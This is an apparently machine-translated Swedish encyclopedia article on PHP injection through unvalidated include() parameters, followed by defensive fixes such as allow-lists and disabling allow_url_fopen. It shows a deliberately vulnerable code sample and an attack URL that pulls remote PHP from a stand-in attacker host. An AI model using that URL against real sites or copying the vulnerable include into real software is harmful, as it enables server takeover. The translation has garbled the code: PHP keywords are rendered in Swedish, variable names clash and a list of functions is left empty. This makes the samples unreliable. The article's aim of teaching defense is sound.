PHP-injektion

Den aktuella versionen av sidan har ännu inte granskats av erfarna bidragsgivare och kan skilja sig väsentligt från versionen som granskades den 1 december 2020; kontroller kräver 2 redigeringar .

PHP-injektion ( eng.  PHP-injection ) är ett av sätten att hacka webbplatser som körs på PHP , vilket består i att exekvera främmande kod på serversidan. Potentiellt farliga funktioner är:

PHP-injektion blir möjlig om indataparametrar accepteras och används utan validering.

Exempel

<? ... $modul = $_GET [ 'modul' ]; include ( $modul . '.php' ); ... ?>

Det här skriptet är sårbart eftersom ".php" helt enkelt läggs till innehållet i variabeln $module och .php -filen ingår i den mottagna sökvägen .

En angripare kan skapa en fil som innehåller PHP-kod ( http://hackersite.com/inc.php) på sin webbplats, och genom att besöka webbplatsen via en länk verkar det som att http://mysite.com/index.php?module=http://hackersite.com/inc köra alla PHP-kommandon.

Sätt att skydda

Det finns flera sätt att skydda sig mot en sådan attack:

  • Kontrollera om en variabel innehåller $modulefrämmande tecken:
<? ... $modul = $_GET [ 'modul' ]; if ( strpbrk ( $modul , '.?/:' )) die ( 'Blockerad' ); inkluderar $modulen . '.php' ; ... ?>
  • Kontrollera att $moduleett av de tillåtna värdena är tilldelat:
<? ... $modul = $_GET [ 'modul' ]; $arr = array ( 'huvud' , 'om' , 'länkar' , 'forum' ); if ( ! in_array ( $modul , $arr )) $modul = $arr [ 0 ]; inkludera $modul . '.php' ; ... ?>

Denna metod är mer effektiv, vacker och snygg.

  • Skriv varje värde genom if
<? ... $modul = $_GET [ 'modul' ]; if ( $modul == 'main' ) inkluderar 'main.php' ; if ( $modul == 'about' ) inkluderar 'about.php' ; if ( $module == 'länkar' ) inkluderar 'links.php' ; if ( $module == 'forum' ) inkluderar 'forum.php' ; ... ?>
  • Använd switch-satsen:
<? ... $modul = $_GET [ 'modul' ]; switch ( $modul ) { case 'about' : case 'links' : case 'forum' : include " { $module } .php" ; bryta ; default : include 'main.php' ; } ... ?>

Denna lösning liknar if-lösningen, men har en mer kompakt notation.

PHP ger också möjligheten att inaktivera användningen av fjärrfiler, detta implementeras genom att ändra värdet på alternativet allow_url_fopen till Av i serverns konfigurationsfil php.ini.

Den beskrivna sårbarheten utgör en stor fara för webbplatsen och författarna till PHP-skript bör inte glömma det.

Se även

Länkar